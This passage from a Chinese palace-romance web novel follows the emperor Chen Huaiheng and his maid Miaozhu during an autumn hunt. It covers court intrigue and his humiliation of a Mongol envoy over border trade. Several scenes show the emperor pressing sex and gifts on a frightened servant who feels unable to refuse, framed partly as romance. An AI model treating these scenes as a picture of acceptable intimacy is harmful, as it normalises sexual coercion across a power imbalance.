现如今再回想陈怀衡十六岁以前的帝王生涯,大抵是在藏拙罢了,每日在朝上一声不吭,不论太皇太后说什么他都听之任之,他太听话了,听话得叫人看不出他的野心,他的锋芒。 新政是前任的林首辅所提,那也不是个善茬,从前他还活着的时候,差点权倾朝野,和太皇太后分庭相抗。 只可惜,他这人实在是太过激进一些了,活着的时候也得罪了不少的人,最后落得那样的下场,一直到现在也仍有言官唾骂于他。 她对陆鸿仪道:“新政该如何,你自己心中也有数,他大概也是觉得自己越来越出息了,那些不该提的东西,还要反反复复翻出来提,你手底下也有不少的人,吩咐下去,总不要叫他太好过才是。” 太皇太后对陆鸿仪有知遇之恩,若非是她,他也走不到如今这个位置。况说,新政这事,他也讨不到什么好处。 提起陈怀衡,提起那个已经故去的林首辅,太皇太后眉眼之间隐隐有些疲惫。 不得不承认,她管不住陈怀衡了,他现在锋芒越甚,竟还想着去提新政 就连当初安插在他身边的那些宫女,现在也都被他拔除得差不多了。 新送去的这几个,也只剩下一个还在。 想到宫女 她的眼睛微眯,眼角的皱纹也跟着皱成了一搓。 近来,皇帝好像得了个有趣的小玩样。 那小宫女在他身边跟了有些时日,她不禁想起那回蒙古舞姬献舞的场景,那夜,帝王的眼睛没往舞姬身上看,反倒是一直落在身边的小宫女身上。 这便有些意思了。 太皇太后若有所思,道:“皇帝现在也有十八了,早该选妃了吧。” 说起这事,陆鸿仪很快就想到那施家小姐,他抚了抚自己的胡须,道:“那施小姐回来了,后位也该定下了吧。” 别说后宫的人如何想,陈坏衡和施家两兄妹的情谊便是前朝都有所闻。 毕竟施总督去得早,前一年多,那施家小姐离开京城养病,现下回来了,这后位难道还有什么悬念吗? 若是施宁煦做皇后的话,旁人也拦不住,毕竟施枕谦是真有战功在身,又承着他父亲的荫。 太皇太后倒不这样想。 没人能揣摩得到陈怀衡在想些什么了,她现在吃一堑长一智,不会再輕易叫他蒙骗。 他心属施宁煦?那倒还真不见得呢。 反倒是跟在他身边的那个小宫女 她不知是想到了什么,心情都好了一些。 她呵笑了一声,道:“谁知道他呢?到底如何还真是说不准。” * 黄昏的夕阳落满大地,很快天就跟着暗淡了下去,天公作怪,到了晚些的时候天上便开始落起了雨,夜晚的空气一下子便凉了下去。 帝王的御营中,帐窗紧闭,隔绝了外头的寒气,雨水滴滴答答落在营帐上,响声不停。 烛火摇晃,将桌案上摆着的物件照得更加耀眼。 陈怀衡的面前摆了好一些珍贵物什,是蒙古那边进贡过来的,一些名贵的药材、羔皮给那两位娘娘分过之后,多得就都先收了起来,面前摆放的是一些美玉宝石,专送过来先叫帝王过目。 珠宝在蒙古那边都是些稀奇物,这回喀什他们也不知是从哪里弄来的这么多来讨昭天子高兴。 陈怀衡对一旁的妙珠道:“喜欢什么?自己挑些去。” 细细算来,她跟在身边服侍,他还没给过她什么好处。 唯一赏下的一只兔子还叫她送了人。 反倒是那施家的两兄妹还送过她一只玉簪 真说出去,他自己也嫌小气丢人。 他也不能总吓她,她这没心肝的,不待她好些,总容易叫人骗跑了。 只是,他那话落在妙珠的耳中只觉惶恐至极,她忙道:“陛下,奴婢不敢” 妙珠不知道陈怀衡怎么突然这般仁善,只她哪里敢要他的东西来。 无恩不受禄,她收下也不大安心。 陈怀衡道:“挑就是了,这点东西朕还送不起?” 妙珠低着脑袋,仍旧在道:“陛下,奴婢不敢。” “不敢?”陈怀衡道:“你这些时日听话,伺候得不错,朕赏赐给你东西,你有什么好不敢的?” 或许是被那一日吓到,又或许是抄了大半天的论语,抄到手都快断了,自那之后,妙珠便听话老实了许多。 不她从前也是听话的,可是,打那天起,整个人就快跟没骨头似的了。 陈怀衡说什么就是什么,他昨日夜里又拉着她上了榻,她太听话他的话了,听话得陈怀衡抱着她做了快一夜,一直到了第二日,实在是起不来床,陈怀衡便让她歇着,这回,妙珠也没反驳,乖顺地躺着,一直躺到了下午才起身。 昨个夜里弄得太厉害了,妙珠分明也不是第一回了,可身上还是疼得厉害。 可现下妙珠听到陈怀衡的话后,好像明白了什么。 他说她伺候得好,大概是在说昨日夜里的事了 妙珠臉色忽地有些发白。 此刻,她想起了那早亡的母亲,竟觉自己和她也没什么差别。 她们都在用身体,去换些东西回来。 稍微不一样的是,她只是陛下一个人私仆罢了,其他的,再没差了。 或许是为了去维系自己那几乎快要没有的自尊,妙珠执拗地不想收下,她看着那些东西摇头,仍旧在说:“不要了,陛下。” 然而,妙珠还是低估了陈怀衡的强硬,他輕笑了一声,道:“朕知道了,那你这便是全想要了。” 说着,不待妙珠反应过来,就将人拉到了跟前,拿起了桌上的玉镯、宝戒往着妙珠的身上戴。 妙珠害怕地想要抽回手来,可陈怀衡只死死地钳制着她,方才他说的话也并非是玩笑话,他拽着她的手就开始往她的身上戴东西了。 美玉宝石戴在她的皓腕上,将她的肌肤衬得更白了一些,璀璨的玉石在灯火下折射着珠光,她的那只手腕看着都多了几分滑艳。 陈怀衡像是真铁了心要把东西都戴到她的身上,妙珠就这样看着,看着自己的手越来越不像自己的了。 终于,在手上戴三个镯子,五个手指套了两个指戒的时候,妙珠再忍不住道:“够了,陛下,这便够了。” 不知怎地 ,妙珠的声音竟染上了哭腔,陈怀衡听到之后,手上动作一顿,他将人抱到了腿上坐着,他捏着她的脸颊问道:“三天哭了,两天恼了,脾气倒是越发大了,这是又怎么着你了?” 大抵是妙珠这两日格外听话,陈怀衡也多了那么些耐心哄着她。 妙珠看着自己的手,看着那些漂亮的首饰,看得眼睛直酸,她摇头,道:“没怎么着,太漂亮了一些,晃眼,晃得眼睛酸。” 陈怀衡不大信她的话,直觉她这反应奇怪,可是,听到她这样说后,又觉妙珠这小穷酸样怪有趣的,她肯定是没见过这些好东西,小眼睛应当是要被闪瞎了。 他捏着她的指骨把玩,问道:“喜欢?” 妙珠看着眼前自己的手,觉着奇怪得很。 这是她的手吗?她左看右看,可里里外外竟找不到一点原来的影子。 原来,这么轻易,这么简单就能把一个东西变得面目全非。 手且如此,那人呢? 妙珠违心地点了点头:“喜欢。” 陈怀衡道:“你乖乖听话,朕也不小气,不会亏待你的。” 妙珠听到陈怀衡的话竟沉默了许久,久到陈怀衡都快以为她不会再开口。 帐外雨声淅沥,天潮地湿,潇潇雨夜中,妙珠的心好像也跟着湿润了,分明是被陈怀衡抱着,他的体温炙热滚烫,可不知怎地,这样的情形下,她竟觉身上冷得厉害。 妙珠往陈怀衡的身上贴得更紧了一些,想要汲取一点温暖。 陈怀衡被她靠得紧,刚想问她是怎么了,可却听妙珠忽地开了口。 她的声音很轻,似在小声的呢喃。 她说:“我会好好听话的,那你对我好一些吧就好一些。” 她不要脸面了,不要自己的魂灵了,就像是之前想的那样,做个供人消遣的玩样就好了。 或许是意识到了有尊严这件事,除开让自己痛苦以外,就再没其他的好处了,妙珠想清楚了之后,也决计舍弃掉它。 就像是母亲,她是个傻子,那样就不会痛苦了。 脸面的什么啊,对她来说都太难了。她连十遍论语都抄不下来,究竟要拿什么去维持自己的脸面? 所以,不要了。 她都不要了。 她只是想好过一些。 她以后会好好听话的,她会好好听他的话的。 真的。 他就对她好那么一点点就够了。 她是个很没追求和骨气的人,哪怕他对她好一点点,她都能死心塌地的了。 妙珠趴在他胸口,紧紧地贴着他的胸膛,她的声音轻轻的,就跟猫一样挠着他,陈怀衡竟诡异地被这声音撩拨得心神摇晃。 陈怀衡觉得今夜的妙珠有些奇怪,可是哪里奇怪却又说不上来。 可他也没有深究下去。 他抱着她,笑了两声,道:“瞧你这没出息的样,是不是太喜欢这些了?把你脑子都迷糊涂了。好好跟着朕,以后再给你。” 妙珠没有吭声,只是点头,一个劲地点着头。 或许是被陈怀衡抱顺手了,再没如第一回那般抖得厉害。 陈怀衡看着趴在胸口的人,桃腮粉面,唇齿红白,温顺的样子就像是一只没有一点脾性的小猫。 从前倒没发现,小宫女怎么生得这般顺眼,鼻子是鼻子,眼睛是眼睛,长得正正好。 他的手指顺着妙珠的脊背上下滑动,渐渐地,妙珠察觉到他身体越发炙热滚烫。 她已经能明白这是什么意思了,不用陈怀衡开口说,她也明白他的意思了。 她分明记得陈怀衡从前是不热衷于情。事的,可是分明昨日才弄过,为什么今日他又想了呢? 大抵是在这事上面尝出了什么意趣了 妙珠察觉到他的意图后,身子还是不受控制地紧绷了一些。 “疼,陛下。” 她是想听话的,可是昨日过后,现在身上还疼得厉害。 陈怀衡道:“昨个儿你不也舒服得很吗?我轻一些,不会弄疼你的。” 他倒是难得温柔,好声说话的时候,嗓音都好听得不像话。 妙珠听到他说起昨夜,那脸马上烧红一片。 她一直都知道陈怀衡的脑子灵光,可没想到在这种事情竟也能极快就无师自通。两人交。缠在一起之时,他看她的表情,大概就能猜出她是舒服还是难受,见她舒服,便往着能让她舒服的地方使劲,一来二去,妙珠到处都被他弄得泣不成声。 不待妙珠继续说下去,陈怀衡就已经直接抱着人去了榻上。 终究是没能抵得过他,妙珠便也不再想着去做挣扎。 她对陈怀衡不放心,低着声恳求道:“陛下,轻一些。” 陈怀衡“嗯”了一声。 雨声渐响,屋外的雨水急急打在帐篷上,妙珠的手悬在床边,那些玉镯跟着动作一晃一晃,不停地碰撞发出清脆声响,和帐顶的雨声此起彼伏。 不知过了多久,帐中才终于安静了下来。 帐外很快就有水送进来,陈怀衡亲自抱着半晕的妙珠去净了身。 净身过后问了宫人,才知现在竟都已到了巳时。 那大约有一个时辰的功夫了 陈怀衡看着躺在床上的妙珠嘴唇干涩,想到了什么,便起身倒了杯水。 妙珠受不住累,从净室里头被抱出来之后就已经半睡半昏过去了。 陈怀衡把人扶起身来,捏着她的脸想把水给她送下去,可是,妙珠哪里还喝得下去? 他拍了拍她的脸,想把她拍醒,妙珠也没有醒过来的意思,他道:“小傻子,身上流了这么多水,不喝些水下去,到时候半夜嗓子渴得疼了,再瞎叫唤可没人给你倒水了。” 妙珠睡着呢,他这话也不知是在跟妙珠说,还是在跟自己说。 见妙珠还是不肯醒过来,陈怀衡也不继续喊了,径自给自己灌了一口水,而后抬起了她的下颌便将水渡了进去。 妙珠总算察觉到了些许异样,迷蒙之中似觉有什么东西在吮吸着她的唇,忍不住嘤咛出了声。 陈怀衡见人要醒过来也没有要抽身的意思,他对喂她喝水这事乐此不疲,又连着喂了好几口才终于停下。 他和她的精力大不相同,方才出力的分明全是他,可弄到现在,竟也没甚疲意。 将茶杯随手搁置到一旁,他的视线却又移到了桌案上,那上面还摆着那堆珠宝。 陈怀衡起身,又去拿了好些过来,往着妙珠的手上套。 妙珠睡得正酣,对陈怀衡的动作一无所觉。 没个一会,她的手上就被套了不少的玩样。 这些金贵的珠宝就跟不要钱似的堆在她的手腕上,在烛火下泛着璀璨的光泽。 既她喜欢,那就多给她套一些,套牢了,才可以。 陈怀衡做完了这些才终于躺下,心满意足地合眼休憩。 第30章 第三十章别出声,有骨气一个晚上都别…… 这场雨一落起来就落个不停,连着下了三日才彻底停下,乌云驱散,天慢慢放了晴,逐渐澄澈清明,秋猎大约已经行进了十来日,再过几日众人就该动身紫禁城。 蒙古那边来的王公也该走了。 临行前,还来求见了陳怀衡一眼。 前两年蒙古的铁骑差点踏到了皇城之下,最后却重新被赶了出去,从此退居一隅。这一回,喀什只身入京,也是抱着友好结交的心态来的,身上也还带着俺答汗布下的任务 陳怀衡这两年里,除了和俺答汗交好以外,却对蒙古那边其余 的几个部落也有所表示。 蒙古非是大汗一人统治,除了俺答汗外,又还有好几个部落。 他们并非一个健全的部落,其中还分化为好几股力量,只是俺答汗特别凸出罢了。 只前两年,他们一道商量着进攻中原,后来兵败后,俺答汗一方的势力却大不如从前,他是进攻的主导者,若是胜了,所得利益最大,可若是败了,所受冲击亦是最大。 这时候,其他的部落便不安生了。 俺答汗现在要做的,就是尽力归顺大昭,若是能求得昭天子的庇佑也好。 可是陳怀衡并没有独和俺答一人交好的意思,甚至前些时日,他还同意和其他的几个部族一起互市。 俺答汗自是不乐意见得此景,他讓喀什此次前来,也是想讓陳怀衡收回和其余部族互市的决策。 然而自打喀什来了这里之后,除了第一日的时候见过陈怀衡,给他送了舞姬之外,就再没能近过他的身,见过他的面。 他还讓人去打听了一下先前他送他的舞姬去了何处,结果听人说是送到了他们国家的禮部,充入了教坊司 上回晚宴之时,见他对那些舞姬没甚兴趣,本来以为只是做做样子罢了,谁能想到,倒是真瞧不上眼。 也罢,喀什只好再来寻陈怀衡一回。 用过午膳之后,天气大好,一直落雨,陈怀衡也没机会出门,在帐中了好几日,这日天好,带着妙珠出去散散步,祛祛身上的湿气。 等他回了营帐之后,将好就见喀什等在帐外。 他的身边还跟着个鸿胪寺的官员,想来是有事情想要和陈怀衡议。 见到陈怀衡終于回来,喀什上前,同他问好。 陈怀衡倒也不曾摆谱,應了下来。 然而,陈怀衡却没有带着他进营帐的意思,默声片刻后开了口道:“既今日天气好,莫不如王公随朕去马场跑上一圈?” 鸿胪寺的人将陈怀衡的话转述给了喀什听,他听了后有些不大明白陈怀衡的意思。 这是什么意思?他今日来是想同他商议关于互市的事,然而连开口的机会都还没有就先被他喊去了马场。 思索再三,他怕耽搁正事,还是不敢應下,只是径直说明了来意,他道:“再过两日,我便要離开,今日来寻陛下,是有件要事想要商议” 陈怀衡不待他说完,直接打断,他笑道:“跑完再商也行。” 他语气倒是客气,说话的时候也一直和善,然而,话里话外都是不容拒绝的味道。 喀什见他态度强硬,也只好应下。 随后,陈怀衡抬手招来了人,讓人又去寻了陈怀霖与施枕謙过去马场那边。 喀什听不明白他的话,那鸿胪寺的人又不同他翻译,只好等一会看看陈怀衡到底是想弄出些什么花来。 一行人又離开御营,往马场的方向去,才走出去几步,陈怀衡却又突想到了什么,顿了步。 他朝着身后的妙珠招了招手,妙珠走上前去。 陈怀衡附在她的耳边说了两句话。 不知是说了些什么,妙珠听到之后脸色瞬间变得难看了一些。 意识到陈怀衡在盯着她看,她马上又定了心神。 她回去了一趟营帐,陈怀衡等到她回来之后才继续出发。 喀什见此更是一头雾水,不知道这又是在做些什么。 好在,后面也没再出现其他的什么插曲了,一行人安生到了马场。 可去了马场之后,陈怀衡却没有想要上马的意思,反倒是等起了人。 喀什脸色有些不大好了,他问陈怀衡道:“陛下这是什么意思?” 一开始的时候不是他说要来马场这边跑圈的嗎?真到了,却又不肯上马了。 陈怀衡道:“走了两步,有些累着了,没甚心情上马。但也不好让王公白走一趟,为你喊了施将军作陪。” 喀什一听施枕謙要过来,脸色一瞬间变得难看了起来。 没有人不认识那个威风的少年将军。 当初就是他和陈怀衡一起打得他们节节败退,喀什又怎么可能不认得他呢? 只是,陈怀衡喊谁来不好,偏偏喊了他过来! 施枕謙的父亲死在他们蒙古的手上,他让他过来陪他骑马,岂不是存心想让他难堪的嗎?! 喀什听了当场想跑,然而,话都还没说出口,那边施枕謙就和陈怀霖一道入场。 那两人是一起到的,刚好在入口的地方碰上。 碰上后便一道进来了。 陈怀霖和施枕谦显然也不明白陈怀衡突然喊他们过来的意思。 只是,因着上回的那件事情,两人多少也有些互相看对方不顺眼。 陈怀霖嫌弃施枕谦做派,施枕谦也嫌弃陈怀霖做派。 陈怀霖倒还好些,心里头想的东西也不会摆在面上,至于施枕谦今日好歹还有外邦人在,他也不想让那蛮夷看了笑话。 是以,碰上之后,也没说什么,干脆就一道从外面进来了。 施枕谦刚想问陈怀衡是什么事,喊他来马场消遣来了不成? 结果,看到喀什之后,当即噤了声。 他的父亲就是死在他们那些蒙古人的手上。 现下看到喀什之后,自是没什么好脸色了。 当初听说蒙古人要来京城之后,他心里头就一直憋得不行,可也没办法,这事国事,他的私心,在国事面前向来是排不上号的。 只是如今在此处再见到喀什,脸上的表情再难藏住。 喀什被施枕谦的表情盯得发毛,下一刻却听陈怀衡开口道:“施将军到了,便让他陪你跑圈吧。” 施枕谦听到陈怀衡的话,当即明白了他喊他过来的意图。 让他陪他跑马场? 那不是给着他机会欺负人嗎。 他想到了什么,看着喀什露出了极不怀好意的笑。 陈怀衡看出施枕谦心中所想,出言提醒他:“耍耍就够了,别弄过火了。” 说罢,便再不给喀什拒绝的机会,让人领着他们去了马场下面,而他则和陈怀霖留在了看台之上。 陈怀霖大概也看出形势了,无非是陈怀衡想给那蒙古王公一个下马威。 故意让施枕谦过来灭灭喀什的气。 只是,喊他来是? 他出声问道:“陛下喊臣过来是做些什么?” 陈怀衡也没藏着掖着,直接道:“喀什今日过来,大概是想提关于互市的事,他不想叫我们和其他的几个部族互市,不想我们同其他的几个部族交好,这朕不允,也不会听他们摆布。一会待喀什回来,皇兄去同他談,他被施枕谦遛够了,身上也没什么气势,这事会好談许多。” 早在营帐门口见到喀什的那一刻,他就知道他今日来是想做些什么。 他远道从蒙古那边过来,除了进贡些东西,自然是有自己的私心。 想来无非是说那些事。 俺答汗现下在蒙古的情况算不得多好,若是大昭连互市都要和其他的部落一起,那他们也更吃亏,同大昭建交盟友的干系,便也不那么特殊。 他是想,如若打不下大昭,那便建立良好关系,将来出了事,说不准也能请求庇护。 他不想让陈怀衡联络其他的部族。 只是陈怀衡自不能如他所愿。 怎么着?只许和他好,不能和别人好了? 你以为你谁啊。 阳盛阴衰,一强一弱,若是一家独大,便总容易出事,蒙古的部族分化得越厉害,对大昭总归是极有好处的,他们内斗的厉害了,大昭便也更安全一些了。 一次北伐的胜利并不能让陈怀衡满意。 他要的是永恒的胜利。 分而灭之。 他容许蒙古各个部落的存在,可是他也要消弭他们的威胁。 他要让他们的铁骑再也踏不到大昭的土地。 在这些事上面,他一步也不会退,只会得寸进尺。 陈怀霖会外邦话,他是个聪明人,这事交给他办,陈怀衡也放心,而施枕谦呢,则是来和喀什跑马场的,把喀什的锐气削了够,这事便更好談了。 陈怀霖听到陈怀衡的话后,心不免跳了跳。 他实在是聪明机警得过分,而且,强势得让人心惊。 这次蒙古人自来中原时,陈怀衡怕就从没想过让他们带一点好处回去。 按理来说,喀什这次来中原,将自己的姿态放得这般低,又带了这么些东西献给昭天子。大昭素来自诩禮仪之邦,仅凭这些,他接下来若再提出些什么请求,陈怀衡自然也不大好一口回绝。 但是今日这 一套组合拳下来,喀什能吃得住嗎? 便是施枕谦真在马场上戏弄了他,喀什又能说些什么呢,毕竟他们之间隔了杀父之仇,施枕谦只要不太过分,都有说辞能将这事轻飘飘揭过去,喀什到了最后,也只能吃个哑巴亏下去。 陈怀霖看着台下的喀什和施枕谦。 只见喀什像个玩物一样被施枕谦戏弄着,险些从马上摔下。 陈怀衡这招,实在是狠辣。 他收回了视线,也没再看,不再去想那事,他又看向陈怀衡身后站着的妙珠,也不知上次的事情过后,她还伤心不伤心 上次借给她的那条帕子,她说过要来还他的,可他们两人除了意外,也实在鲜有机会能够碰上。 陈怀霖也不敢盯着妙珠多看,看多了,徒惹旁人误会,然而,才收回视线,就见一旁的陈怀衡似笑非笑看着他。 他的手上正把玩着杯盏,漫不经心对陈怀霖笑问:“皇兄看着朕的婢女做些什么?” 陈怀霖没想到就瞧了那么一眼陈怀衡竟都要发难。 那这般看来,妙珠于他,好像确实也是不大一般 这么些年的兄弟和君臣,陈怀霖对陈怀衡也算了解熟悉,却在这件事情上也有点弄不大明白了,若妙珠于他真不一般的话,那为什么施枕谦还能那样欺辱她呢? 这到底是有情还是没情? 他记得一开始的时候,陈怀衡待她堪称恶劣,动辄打杀吓唬人,是从什么时候开始变得不一样了,又难道是他多想了? 至于妙珠,低着脑袋叫人辨不出神情,不知是再想些什么。 陈怀霖弄不明白陈怀衡,也不再继续想下去,开口回了他的话,道:“只是不小心错眼瞥到,陛下不用挂心。” 陈怀衡面上无甚表情,也不知道有没有将这话听到心里头去,不再继续和陈怀霖说下去,只扭头看向妙珠,道:“不是还有东西要还给协王吗。” 妙珠終于抬起了头,面上依稀能寻得些许难堪,大抵也覺得接下来要做的事情有些无禮了。 在陈怀衡的盯视之下,妙珠不敢再去踟蹰,将方才回营帐拿的东西从袖口中掏出。 是上回被她用剪子剪成两半的帕子。 陈怀衡一直没有丢掉这东西,大概也是在等这一刻。 他就是要让她亲自把这块破布还回去,好绝了她的那些心思。 妙珠也覺羞愧难当,毕竟当初陈怀霖好心帮她,宽慰她,可她到头来将他的帕子剪成两半,怎么说也不像话的。 可没办法,她真的也没办法了。 妙珠上前,将那帕子双手递还给了陈怀霖,她道:“对不起,殿下,不小心弄坏了。” 哪里是不小心弄坏的呢?那破成两半的帕子分明一眼就能瞧出是被剪破的。 不过,陈怀霖接过了帕子之后什么都不曾说,脸上甚至就连一点恼怒的情绪都没有,妙珠站在他的面前,遮挡住了陈怀衡的视线,陈怀霖的眼中不自覺流露出了几分担忧。 他想问问,是不是出了什么事了? 可是,看着妙珠那不大好看的表情,最后还是噤了声。 他只是道:“无妨,一条帕子而已,烂了就烂了。” 陈怀衡听到这话也只神色不明,纤长的眼睫在眼睑下投出一道晦暗的的阴影,显出几分晦暗。 他呵笑道:“还是皇兄大气。” 妙珠听出了陈怀衡语气中的不满,也不敢和陈怀霖多做交谈,给完了帕子就回了他的身边,跟只鹌鹑一样缩在了他的身后。 陈怀霖见此,眉头拧得更紧了一些,但到底是没能说什么。 又过了大概两炷香的功夫,陈怀衡终于让人去喊了施枕谦回来。 没过一会,喀什便和施枕谦回来了看台这处。 施枕谦面色说不出得舒畅,方才戏弄了喀什许久,他心里头自然是高兴。至于喀什,满头大汗,形容说不出的狼狈。 喀什这次来,已经将姿态放得极低,可还是受不了被如此作践,他喘着粗气,言语之中也带了几分怒气,愤愤道:“你们这是在故意作弄我!” 施枕谦听了之后,直接扯着他的衣领问道:“就作践你怎么了!我问你,父亲是谁杀的?!” 喀什被他弄得无言片刻,而后破罐破摔道:“又不是我杀的,干我什么事!” 施枕谦被他气得牙都打颤,道:“好好好!那老子现在就把你们那群蛮夷都杀了干净!” 这句话自然没被翻给喀什听,陈怀衡终于出声阻止:“好了,王公来之前不是说有事想要同朕相商吗?” 听到陈怀衡的话后,喀什也终于想起自己今日是有正事,不顾自己所受的屈辱,去和陈怀衡商议正事。 陈怀衡给陈怀霖使了个眼色,陈怀霖便明白他的意思,起身去同蒙古王公打了个照面。 喀什不明白这是什么意思,陈怀衡解释道:“这是我们大昭的亲王,今日,便让他和你来谈。” 听到陈怀衡的话后,喀什便去和陈怀霖议起了事情。 果不其然,他今日就是为了互市而来。 不过,他被陈怀衡弄了这么一遭,身上哪里还有半分谈判的气势。 被施枕谦在马场上逼出了满头的汗,和陈怀霖谈着谈着,又要被逼出一抔泪来。 莫看陈怀霖生得温润如玉,论起事来却十分强硬,步步紧逼。 如今看来,互市这事,他根本就没有能和他们商量的余地了。 那他还有何颜面回去面见可汗? 事到如今,喀什也看出来了这一切不过都是陈怀衡的刁难,在他找到他的那一刻起,他就已经想出了法子来对付他。 他一时之间又气又恨,也不和陈怀霖继续说下去,反倒起身对着陈怀衡道:“大昭天子,你你实在是欺负人!我自远道而来,献礼无数,可你就这样欺辱我。什么跑马场,故意想叫我难堪罢了。都说大昭是礼仪之邦,看来也不见得如此!” “礼仪之邦?”陈怀衡抿了一口茶,不紧不慢道:“看来王公还是不了解大昭。” 敬你的时候是礼仪之邦,不敬你的时候谁和你谈礼仪。 况说,他觉得自己已经足够仁慈了。 当初蒙古若是打到京城,他们只会做得比他还要过分一些,这江山早就要易主,他也要成他们的阶下囚,**狗。 他餐风茹雪守了国门,如今还同他们互市,逢年过节甚至只要一些岁贡,这难道还不仁慈? 他既已经足够仁慈,那就别想着他再做出其他的让步了。 同喀什的怒气冲冲截然不同,陈怀衡瞧着就心平气和多了,脸上笑意甚至越显,他双手交叉撑在桌上,笑眯眯地冲着喀什问:“王公确定要这样和朕说话吗?” 他虽是在笑着,喀什却觉脊背发凉。 即便蒙古和大昭风俗不同,礼仪不同,可人类的情绪,大多是相通的。 陈怀衡给他的恐惧,仅用趋利避害的本能就能轻易察觉到。 喀什很快听出了陈怀衡的言下之意。 陈怀衡说这话的警告意思已经十分明显,他在警告他说:你继续这样的话,到时候就不只是互市了。 喀什恨得牙痒痒,可到最后也只能是打碎了牙往肚子里面咽下去。 他们本就处于弱势,处于失权一方。 那便意味着,他们本来就没有任何的话语权。 喀什最后事没办成,反倒惨遭羞辱,公道也讨不回来,没了办法,只能愤愤離去。 办好了事后,陈怀衡也没继续留陈怀霖和施枕谦的意思,对他们两人赞了一句:“做得不错。” 而后便带着妙珠离开,不继续再在这 多待一刻的功夫。 陈怀衡走后,陈怀霖也没什么好和施枕谦说,甚至就连招呼都没打就离开了此处。 施枕谦看着他离开的背影,骂了一句,也离开了这处。 今日天气好,连续下了几日的雨后,空气都跟着清新了许多,周遭隐隐约约弥漫着一股雨后的青草气,山林之中已然带了沁人的凉意,天空澄澈清明,晚霞的光都显得格外的艳丽。 弄了这么一遭之后,天也已经快暗淡下来,夕阳的余晖落在陈怀衡和妙珠的身上。 快入冬了,有些冷,风吹在身上,都快穿透衣裳。 妙珠忍不住吸了吸鼻子。 陈怀衡听到动静,侧头看她。 她就站在他的身边,垂着脑袋。 陈怀衡道:“哭了?” 让她还条破帕子,还要哭哭啼啼的? 想到这里,他的眼神沉了下来。 妙珠听到陈怀衡的话后,错愕抬头,就这样撞入了他那双深沉的眼。 她起先没能反应过来,不明白他的意思,可看清了他的眼神之后,很快就反应过来他是在说些什么了。 她抿唇摇头,解释道:“只是觉得有些冷了而已。” 陈怀衡却不相信她的话,只是打量着她的眼睛,打量着她的两靥,打量那张脸,他要瞧瞧看那些地方有没有被泪水氤氲的痕迹。 干干的。 看样子是真没有。 他伸出手背,蹭了蹭她的脸,果然是有些冰。 见她真的没有说谎,也没有为方才那事伤神,他才终于肯放过她了。 陈怀衡牵起了她的手,也是冰凉一片。 他搓了搓她的手,道:“冷不早些说,早点给你做新衣服。” 妙珠没吭声,任他牵着,也没说好还是不好。陈怀衡低头看她,却见她又出了神,也不知是在想些什么。 陈怀衡暗骂了一声“不知好歹的小哑巴”,脑子里头也不知道是在想着谁,不过也不同她计较了,不再吭声。 把那条剪成两半的帕子还给了陈怀霖,而且回去后陈怀衡也没再提过这事,妙珠便以为这些事就这样过去了。 可一直到了晚上,陈怀衡又拉着她上了榻,这回不知道他是吃错了什么药,格外的用力,妙珠被弄得难受,央求着他轻一些,就在这时,陈怀衡忽然来了一句:“下午那会不是不爱同我说话吗?” 妙珠这才知道,他原还记恨着那事。 她道:“陛下,错了,下次不会这样了。” “为什么不说话?想什么呢?同我说说,那时候在想些什么东西?” 他接二连三地质问着妙珠。 问一句话,用一下力。 妙珠被他问得头脑发昏,死死咬着嘴唇,怕又泄出什么难堪的声音。 陈怀衡见她不吭声,笑了一声。 那行,别出声,有骨气一个晚上都别出声。 妙珠还没反应过来发生了什么,嘴巴里头的声音就先一步跑了出去。 罢,罢了。 陈怀衡就是故意想让她丢丑,左右妙珠也不在意脸面了,便如了他的愿,咿咿呀呀叫唤了起来。 等到结束的时候,两个的身上都湿了透,早已辨不清是汗还是水了。 事后,陈怀衡却不着急去净身,他从妙珠的后背揽去,将人抱在了怀中。 妙珠想要休息,可是被他从背后伸过来,抱着揉着,她压根就合不上眼。 他蹭着她的耳朵,弄得她快痒死了,刚想开口求他别闹了,可陈怀衡却先一步说了话。 他就那样附在她的耳边,声音微哑道:“妙珠啊,你知道陈怀霖今年多大了吗?” 他虽然喊着妙珠的名字在问话,可压根就没有想要她回答的意思。 陈怀衡自顾自笑了笑,道:“过完年,他就二十二了。” “朕想着为他寻个王妃了,你觉得呢?” 她都这样了,难道还会有别的心思吗?妙珠觉得陈怀衡在这事上无理取闹得很,她默了片刻,而后道:“陛下既然有了打算,寻就是了,您该去问殿下,也不是来问奴婢。”【你现在阅读的是魔蝎小说 moxiexs】 30-40 第31章 第三十一章跪久点好不好 等到从西山猎场回去紫禁城时,便到十一月初了。 这段日子榮桃没有跟去,一直在紫禁城待着,妙珠从外头回来,往配房里头回,榮桃见她回来,马上抱了上去。 这些时日没有妙珠在,她一个人也快无聊死了,现下她终于回来,榮桃第一个欢天喜地。 两人久不相见,抱在一起酿酿酱酱了好一会才肯松开。 说了好一回的话后,趁着个空档,妙珠从自己帶回来的行囊里头翻出了上回陳怀衡賞赐给她的珠宝。 那天陳怀衡往她的手上套了好多東西,既他给她,妙珠也不同他客气,全都打包帶了回来。 她给榮桃塞了两个镯子,她道:“你拿着,到时候便不要再和太皇太后娘娘往来了,陛下开恩,若你现在好好做人,就不会再罚你啦。” 荣桃看着她塞过来的镯子,就跟金子一样,闪着灼灼的光。 她看傻眼了,问道:“妙珠你这都哪里来的” 这话问出口后,她又马上覺着自己蠢笨了。 这样的物件,加上妙珠方才说的话,这两镯子哪里来的,难道还不够明显嗎。 她讷讷问道:“这是陛下賞赐的?” 这没什么好不承认的,除了陳怀衡,又还有谁能这么大手笔地赏赐这些東西下来,妙珠也如实地点了点头,没有不承认。 荣桃见此,语塞了好一会,良久才吐出一句:“陛下他怎么突然” 他怎么会突然赏赐她这些東西呢? 荣桃刚问至一半就噤了声。 这还有什么可问的。 想也知道是怎么一回事。 现在问出来了,也只叫人难堪。 荣桃不肯收这么贵重的東西,妙珠却执意给她。 “你收下吧,你收下的话,我能高兴,就当是为了我,你也收下吧。” 哎,说来也太可怜了些。 小妹还在世的时候,没过几天的好日子,过中秋的时候,吃不上月饼,还要跑去别家偷。 她现在给不了小妹这些了,也不能再对小妹好一些了。 荣桃感覺妙珠的眼神忽然变得哀伤。 她其实早就发现了,妙珠看着她,就像是在透过她看另外一个人。 妙珠对她实在是太好了些,好得就不像是在对她好。 可是,她也从来没有想过去问,妙珠啊妙珠,你到底是在想着谁,念着谁呢? 那说起来,大抵又该是另外一桩伤心事了。 况说,从来没有人像妙珠那样待她更好了。 她不要说。 就装作什么都不知道好啦。 荣桃最后还是收下了妙珠的镯子,她也听了妙珠的话,将那话放在了心上,第二日就悄悄去了寿宁宫,寻了太皇太后。 现下是酉时,入了十一月,天也黑得早了。 